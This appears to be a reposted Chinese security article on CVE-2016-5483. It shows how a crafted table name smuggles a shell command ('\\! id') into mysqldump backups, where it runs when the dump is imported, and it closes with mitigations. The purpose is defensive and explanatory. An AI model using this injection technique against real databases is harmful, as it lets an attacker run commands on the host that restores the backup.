掌握聚合最新动态了解行业最新趋势
API接口,开发服务,免费咨询服务

[安全] mysqldump 备份的后门

1. 简介

mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句

而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令

2. 实验

场景假设

1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 Wordpress 等开源系统,就很有可能被黑客搞定

2)黑客具有 CREATE TABLE 权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行 

GRANT ALL PRIVILEGES ON wordpress.*

3)使用 mysqldump 进行常规备份

4)黑客想要提升他们的权限,进而可以访问操作系统

过程

首先创建一个恶意表

CREATE TABLE `evil  
\! id
select user(),@@version/*`  (test text);  

之后使用 mysqldump 备份数据库

在正常情况下,dump 文件中应该是这样的结构

--
-- Table structure for table `tablename`
--

而现在则会变成这样

--
-- Table structure for table `evil
\! id
select user(),@@version/*`  
--

然后使用 dump 文件导入数据库

mysql test < test.dump

输出信息:

uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user()  @@version
root@localhost  5.7.17-log

可以看到,已经成功执行了系统命令

3. 弥补方法

  • 使用 mysqldump 时设置 --skip-comments

  • 撤回建表权限

  • 尽量只 dump 表数据

这个问题比较普遍,需要注意,涉及的数据库包括:

数据库版本
MySQL所有版本
MariaDB<= 5.5.52 且 < 10.1
Percona所有版本

4. 小结

本文翻译整理自 

https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups

这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考

原文来自:性能与架构

声明:所有来源为“聚合数据”的内容信息,未经本网许可,不得转载!如对内容有异议或投诉,请与我们联系。邮箱:marketing@think-land.com

  • 个人/企业涉诉查询

    通过企业关键词查询企业涉松详情,如裁判文书、开庭公告、执行公告、失信公告、案件流程等等。

    通过企业关键词查询企业涉松详情,如裁判文书、开庭公告、执行公告、失信公告、案件流程等等。

  • 账号黑产风险识别

    根据手机号来查询是否命中黑产风险

    根据手机号来查询是否命中黑产风险

  • IP反查域名

    IP反查域名是通过IP查询相关联的域名信息的功能,它提供IP地址历史上绑定过的域名信息。

    IP反查域名是通过IP查询相关联的域名信息的功能,它提供IP地址历史上绑定过的域名信息。

  • 人脸卫士

    结合权威身份认证的精准人脸风险查询服务,提升人脸应用及身份认证生态的安全性。人脸风险情报库,覆盖范围广、准确性高,数据权威可靠。

    结合权威身份认证的精准人脸风险查询服务,提升人脸应用及身份认证生态的安全性。人脸风险情报库,覆盖范围广、准确性高,数据权威可靠。

  • 全国城市空气质量

    全国城市和站点空气质量查询,污染物浓度及空气质量分指数、空气质量指数、首要污染物及空气质量级别、健康指引及建议采取的措施等。

    全国城市和站点空气质量查询,污染物浓度及空气质量分指数、空气质量指数、首要污染物及空气质量级别、健康指引及建议采取的措施等。

0512-88869195
数 据 驱 动 未 来
Data Drives The Future